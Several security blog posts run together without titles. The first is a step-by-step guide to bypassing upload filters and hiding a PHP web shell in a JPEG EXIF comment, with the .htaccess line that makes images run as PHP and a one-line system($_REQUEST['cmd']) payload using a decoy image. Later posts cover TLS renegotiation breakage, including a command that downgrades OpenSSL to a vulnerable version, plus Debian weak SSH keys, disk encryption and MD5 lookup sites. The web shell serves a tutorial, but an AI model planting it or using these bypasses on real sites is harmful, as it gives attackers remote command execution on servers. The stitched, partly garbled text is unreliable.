A first method is content-type checking, which can be easily bypassed with a intercepting proxy (tampering the MIME type). The screenshot below shows an intercepted request where the attacker modifies the content-type (beforehand text/php) and then forwards the content to the server:

HTTP POST content-type tampering

Thus, the content-type filtering is bypassed.

Another method consists in checking the file name extension. If simple bypasses like playing with lowercase (.PHP instead of .php), using multiple extension (.php.foo) or triggering the NULL byte (.php%00.jpg) do not work, there is a last chance by uploading a crafted image.

JPEG files are convenient for code injection: they support EXIF metadata, which include a comment field where anything can be written, as long as it is on a single line.

So, when a web server parses the image content, it may interpret the PHP code inside if it is improperly secured.

The method is however totally dependent on the ability to upload a .htaccess file, which may be a long way to go.

Though, one advantage of using an image in most upload vulnerability exploitation cases is stealth: an image will always look less suspicious than a dropped .php file.

Anyway, for fun, here is how to do:

1. Upload a .htaccess file that contains:

   AddType application/x-httpd-php .jpg

2. Take a JPEG file of your choice, install the jhead tool (there are many alternatives, like exiftool, but this one is straightforward).
3. House-keeping (delete extra headers):

   jhead -purejpg <filename>.jpg

4. Edit EXIF JPEG comment:

   jhead -ce <filename>.jpg

5. Copy / paste your PHP code, like this one for instance (must fit in one line):

   <style>body{font-size: 0;}h1{font-size: 12px}</style><h1><?php if(isset($_REQUEST['cmd'])){system($_REQUEST['cmd']);}else{echo '<img src="./clean_imagejs';}__halt_compiler();?></h1>

   This code just reads a command from the cmd parameter when it is set. If it is absent, then for more discretion it displays another image (clean_image.jpg, that you would have uploaded previously, for instance). The CSS style trick (font size of 0) just hides some garbage that comes from the JPEG header.

6. Just upload the file and test it! DVWA is a convenient and safe way for that.

Note this nice article as a reference on the topic, and the solution that is suggested to fix such a vulnerability: disabling one way or another script execution on the upload directory and use random server-side file renaming.

The editor was informed and I am waiting for its acknowledgement. I will disclose more details once the issues are patched.

I tried it out and I must say that the new UI is great. I am not a big fan of Flash and I regret this choice. However, the design is excellent, all options are accessible in a logical way. Instead of spreading over the options like it used to be, they come to you in the right order.

I also appreciate that the server and the client set-up are now unified thanks to the web interface (you can access it from localhost or from the network indifferently).

The report section has also been greatly improved.

So, if you were already an Nessus user, it is worth upgrading.

Talking about the set-up, there is an up-to-date package for openSUSE (of course, there are a lot less dependencies than before).

It is vulnerable to a MiTM attack where the attacker can intercept and retrieve the credential to a trusted HTTPS website, by intercepting the session cookie sent back to the client.

A proof of concept of an attack against Twitter was made.

Fine. But so far, the answer was to just disable any renegociation.

This actually causes some issues with SSL session timeout and totally broke client authentication.

I got into problems because of the latter. I am using client authentication for some location of my web server, and I recently could not connect anymore to these with the following log in apache :

[Tue Nov 24 16:56:15 2009] [debug] ssl_engine_kernel.c(1912): OpenSSL:Exit: error in SSLv3 read client hello A
[Tue Nov 24 16:56:15 2009] [error] [client x.x.x.x] Re-negotiation handshake failed: Not accepted by client!?

I first was not aware of the openssl patch and tried almost anything possible. My focus was, of course, on the certificate and the client.
But, a nice guy on IRC #suse, Stittel, had a good hunch and suggested me to look at the CVE-2009-3555 fix.

After more tests, it was quickly confirmed to work well with older versions of OpenSSL (as shipped in Debian Lenny).
Finally, I downgraded the OpenSSL version on my openSUSE box to a version prior to the CVE-2009-3555 fix and it just worked fine.

Then, I dig into it and found a lot of interesting reports there and there. So far it is a real mess.
In short, the breakage will stay as long as browsers don’t also include a patch to avoid renegotiation.
So far, I could not find a browser that does include a patch.
If anyone reading it knows a version that does it, please let me know.

Meanwhile, you have actually the choice between :

• low security by deactivating client authentication on your server
• low security by keeping a vulnerable version of OpenSSL

As my server is not very exposed, I chose the latter, but that’s not satisfying.  It is not recommended, but if like me you need to use client authentication with mod_ssl on openSUSE 11.2, do :

% zypper install --from repo-oss openssl openssl-certs libopenssl0_9_8 libopenssl0_9_8-32bit

where repo-oss is the alias to the 11.2 release (without updates) on your system.

What a brutal way to fix an issues without much notification and consideration to the users ! Even the log message is wrong and just confusing the administrator…

PS 1 : thanks again to Stittel for the good hint (I hope you will come by here) and to the always nice and helpful #suse channel in general ;)

PS 2 : bug reported on openSUSE bugzilla

The threat is serious as it could allow a local user to gain root privileges.

Those who compile their own 2.6.x kernel should apply this patch (from Linus, check there for more info) .

Within your kernel source folder :

$ patch -u -p0 < sock_sendpage.patch

I hope an official patch will be released soon for all kernels. I did not check if the 11.1 kernel has already been patched or not.

I see many people making a confusion about the use of this term, even among professional or specialized journalists. Whenever there is a hack originated from the Internet, they call it a network attack.

This is a true misunderstanding of the reality. We will see why when a website is hacked, or a domain name spoofed, we can’t call it a network attack.

First of all, we need to have a good picture of the way the protocols of the Internet are organized.

We can visualize it with the OSI concept, whose scheme is below :

This model offers 7 layers to contain all protocols involved in the data transportation, from the system or the program of a local computer to its peer on the other side of the network.

Actually, and to the contrary of another common belief, this model was never really applied on the Internet. Instead, a simplified model of 4 layers was chosen, the TCP/IP model.

Anyway, acconding to this model, each data is encapsulated by the protocols of each layer from the top to the bottom before traveling on the network.

Normally, equipments between the sender and the recipient will not check the data upper than the transport layer. It means that to connect two peers through the Internet, protocols like Ethernet, ARP, RIP, OSPF, IP, TCP and UDP are used.

Protocols like HTTP, DNS, FTP and so many others belong  to the Application layer. Therefore, they are used to serve application, not to connect two peers from the network point of view.

Therefore, when a web server is attacked from the Internet, it is not a network attack. It is an application level attack : the network is just a vector, but the vulnerability is at the application level. It may concern the architecture or the conception of the application, but not the network.

So many popular attacks like brute force attacks to guess a password, exploits, shellcodes, DNS spoofing, PHP misconceptions, etc., are off the network attack categories.

Nowadays, as there are more and more services offered on the Internet, application attacks became the most popular and most efficient for attackers. However, if network attacks have been spectacular in the 90s and entered the history, they are still efficient.

Among network attacks, we can differentiate two main categories : protocol vulnerabilities and implementation weaknesses. Of course, it is not that simple and some attacks are a combination of these categories.

Protocol weaknesses

Most of the protocols we use today were conceived in the 80s, or even before. At the name, the engineers never predicted such a growth of the Internet. They did not put much thinking on problems like scalability or security : their needs were very simple and basics, and Internet was very confidential, mostly connecting a few universities in the world.

The growth of the Internet have been so fast, that the protocols could not be adapted at the right pace to the new needs. Now, we inherit of conceptual security leaks at all OSI layers and there is nothing much being done against that.

Implementation weaknesses

The RFC put the bases to implement the protocol in the hardware or in the systems. It implies programming and therefore a classical development cycle : putting down the needs, interpreting the specifications, making arbitrary choices and finally coding. Of course, at any of these stages, there is a potential risk of human mistake, misconception, bug, buffer overflow, unexpected behaviour, etc. Some can be very critical for the whole security of the hardware or the system.

In that case, it is just like an application level vulnerability, but on the IP stack or the drivers handling the network packets. That leads to a network attack.

There is a huge number of vulnerabilities. All operating systems are concerned, as well as all hardware equipments (switches, routers, firewalls, etc.).

That’s it about this short introduction to network attacks. It does not aim to be complete, but just to put the basics of my next articles.

In the coming articles, we will see a few example of network attacks. In the next one, we will start from the bottom of the OSI model : physical layer attacks.

I have had no time so far to check all the keys on my server. I prefer to stay on the safe side, though I have some reason to believe that my keys might not be so vulnerable : I generated them a long time ago, maybe before the Debian maintainer sad mistake.

It is going to be pretty easy now, for those who are motivated, to get access to the ssh server running keys generated during the 2 last years…

I recommend this article which summarize pretty well the situation. You may also use this tool, which checks if your keys are vulnerable :

$  perl dowkd.pl file ~/.ssh/*.pub

It find it funny to think that I chose to use certificates for security (avoiding brute force attacks).
What’s less funny is the pure disaster for the reputation of Debian.

I already noticed in the past that some companies switched their servers from Debian to Red Hat because of such security problems. They claimed about some security holes being patch much too slowly and about the lack of official support to rely on in such a crisis.
This kind of news is not going to enforce trust from companies.

I myself will think twice in the future about what system to use when I design my networks.

Hardware encryption is provided by a few laptop makers, generally on high-range an business models.

It has much less performance impact than software encryption, and protect the data independently from your system configuration and its partitions.

Full disk encryption is the so called hardware encryption technology used by Lenovo on my Thinkpad.

Mine comes with a Hitachi hard drive. Hitachi names its encryption technology “Bulk Data Encryption”.

I know at least Seagate provides the same kind of feature.

The bulk data encryption is based on the AES algorithm with a 128 bits key.

Actually, the encryption is not done by the laptop itself but by the hard-drive.

You need both the hard drive and the laptop supporting encryption , for the following reasons :

1. your motherboard must have a TPM chip, which is used for the encryption, as a unique source to derivate the encryption keys.
2. the BIOS must interface with the hard drive FDE, to set/unset the encryption and to prompt for the password before the real boot (actually, a small OS embedded on the drive take care of this authentication).

In reality, the encryption is always active and the password to access to the drive is just another security feature. There is no link between these two functions. That’s why the fact of setting a password is immediate : no reencryption is done because the password has nothing to do with encryption.

In case of authentication success, the system boots normally.

In case of failure, and if the maximum number of attempt is reached, the data is erased. Instead of initializing the content with 0, which would take a lot of time and could be interrupted by shutting down the machine, just the keys are destroyed within a few seconds.

Anyway, the content is supposed to be very hard to retrieve thanks to the effectiveness of the AES algorithm.

One important thing is that the key is not a derivate of the password you set.

The hard drive password is a feature that does not come necessarily with encryption.

It is just there to limit the access of the content, but not its confidentiality.

For instance, you could imagine that if the drive is stolen, someone opens physically the drive, change the ROM to pass over the password and read your data without any pain.

The con of that is the encryption keys generation is based on your hardware. A different hardware can’t decipher the drive.

If your motherboard breaks down, you won’t be able to read your data from another computer ! Make some good backups…

To go back to the main topic, is the cold boot attack a threat for this hardware encryption ?

No. The encryption algorithm is not in the user land, so no key is stored in RAM.

The key hashes are stored directly on the disk.

These documents from Hitachi provide more detailed information :

Bulk encryption white paper

HowTo guide for bulk data encryption

This Wikipedia article, underlining the main points of hardware encryption,  is also interesting.

I guess that at some point it would be possible to read some hash on the hard drive electronic board, but this is not going to be easy. You need to be a hardware expert in hard drives and for sure it can’t be done as quickly as with the RAM chip.

Of course, even the cold boot attack is extreme. Most of thief won’t care about your data, or won’t be the knowledge or the practical possibility to conduct a successful attack.

If you don’t have FDE support, you should continue to use an encryption solution like dm-crypt or Truecrypt and maybe consider turning off your computer more often.

It anyway remains an excellent solution for external disks, as it is normally not all the time attached to your computer.

Personally, as FDE offers more performance and transparency, I am using it on my laptop but I keep using dm-crypt on all my external drives.

Now the question is : what good workaround can be found to provide more secure software encryption ?

Check this interesting article.

No need to take out your rainbow tables anymore, just google your hash ! I hope your password is strong enough…

You could also use one of these :

http://md5.rednoize.com

http://md5.cryptobitch.de